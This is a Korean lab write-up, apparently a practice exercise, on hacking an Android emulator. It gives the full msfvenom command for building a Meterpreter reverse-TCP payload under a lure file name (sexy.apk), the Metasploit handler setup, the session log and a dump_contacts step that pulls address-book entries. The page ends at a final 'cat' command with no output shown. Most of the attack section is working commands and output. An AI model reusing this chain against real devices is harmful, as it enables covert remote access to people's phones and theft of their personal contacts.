로그인

# 3 안드로이드 해킹

작성: 2026.08.06 07:17 최근 수정: 2026.08.07 00:48
안드로이드 페이로드를 활용한 정보 탈취 실습

# 실습 목적 및 개요

본 실습은 Kali Linux 환경에서 msfvenom을 이용해 안드로이드용 리버스 셸(Reverse Shell) 악성 파일(sexy.apk)을 생성하고, Metasploit Framework의 핸들러를 통해 타겟 시스템(Nox Player 안드로이드 에뮬레이터)과 세션을 형성한 뒤, 내부의 주소록 데이터를 추출하는 과정을 검증하기 위해 수행하기 

◈ 실습 환경 구성◈

→ 공격자 환경 (Attacker): Kali Linux (NAT 모드, TCP 4444 포트포워딩 적용)
→ 타겟 환경 (Target): Nox Player (안드로이드 12, x86_64)
→ 네트워크 구성: 칼리 내부 IP: 10.0.2.15
→  포트포워딩 매핑 주소: 192.168.0.215 (LHOST)
→  수신 포트: 4444 (LPORT)
→  공유 폴더 경로: /media/sf_ (호스트-가상머신 간 공유 디렉토리)
──────────────────
# 단계별 실습 수행 과정
[ 1단계 ] 악성 페이로드(APK) 생성
→ msfvenom 도구를 활용하여 안드로이드 환경에서 역방향 TCP 연결을 시도하는 페이로드 파일(sexy.apk)을 생성
→ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.215 LPORT=4444 -o sexy.apk

▼명령어 뜻 및 설명▼
→ -p android/meterpreter/reverse_tcp: 안드로이드용 Meterpreter 리버스 TCP 페이로드 지정
→ LHOST=192.168.0.215: 타겟이 접속을 시도할 공격자 바인딩 IP 주소
→ LPORT=4444: 세션 연결에 사용할 공격자 바인딩 포트
→ -o sexy.apk: 생성될 출력 파일명 지정
──────────────────
[ 단계 2 ] 공유 폴더를 통한 페이로드 전달
생성된 APK 파일을 호스트 PC 및 Nox Player로 전달하기 위해 가상머신의 공유 폴더 디렉토리(/media/sf_)로 이동시키기 
→ /media 디렉토리로 이동 및 파일 존재 확인
→ cd /media
→ ls
[출력 결과]

# sexy.apk sf_

→ 2. 생성된 APK 파일을 공유 폴더(sf_) 내부로 이동

→ sudo mv sexy.apk sf_/

→ 3. 이동 결과 및 공유 폴더 내부 파일 목록 확인
ls
# [출력 결과]
# sf_
cd sf_
ls
# [출력 결과]
# mail서버로그 sexy.apk 레지스트리 레지스트리로그 이벤트로그 포렌식
실행 조치: 공유 폴더로 이동된 sexy.apk 파일은 호스트 환경에서 Nox Player 화면으로 드래그 앤 드롭하여 안드로이드 환경 내에 설치 및 실행을 유도한다 
──────────────────
[ 단계 3 ] Metasploit 핸들러 세팅 및 대기

타겟 기기에서 APK가 실행되었을 때 들어오는 연결 요청을 수신하기 위해 msfconsole 리스너를 설정하고 대기 상태로 전환한다.

# Metasploit 콘솔 실행 (정적 모드)

→ msfconsole -q

# 핸들러 모듈 선택 및 페이로드/네트워크 옵션 설정
→ use exploit/multi/handler
→ set payload android/meterpreter/reverse_tcp
→ set LHOST 192.168.0.215
→ set LPORT 4444
→ run
──────────────────
[ 세션 수신 로그 ]

Plaintext
[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Sending stage (72530 bytes) to 192.168.0.215
[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 192.168.0.215:61022) at 2026-08-06 02:28:55 -0400

상태 분석 : 타겟 안드로이드 기기에서 앱이 실행됨에 따라 포트포워딩을 거쳐 
공격자의 10.0.2.15:4444로 세션이 정상 연결(Meterpreter session 1 opened)되었다
──────────────────
[ 단계 4 ]  Meterpreter 명령을 통한 연락처 탈취

Meterpreter 세션이 성공적으로 획득된 상태에서 안드로이드 내부 주소록(Contacts) 데이터를 추출한다

→ meterpreter > dump_contacts

[*] Fetching 3 contacts into list
[*] Contacts list saved to: contacts_dump_20260806023040.txt
──────────────────
실행 결과: 타겟 시스템 내 저장되어 있던 총 3건의 연락처가 추출되어 
공격자 시스템에 contacts_dump_20260806023040.txt 파일로 저장된다

3. 최종 탈취 결과 분석
추출된 연락처 파일(contacts_dump_20260806023040.txt)의 상세 내용은 다음과 같다
→ cat contacts_dump_20260806023040.txt
──────────────────
이 노트는 로그인하지 않아도 열람할 수 있습니다. 작성·수정·삭제는 관리자 로그인 후 가능합니다.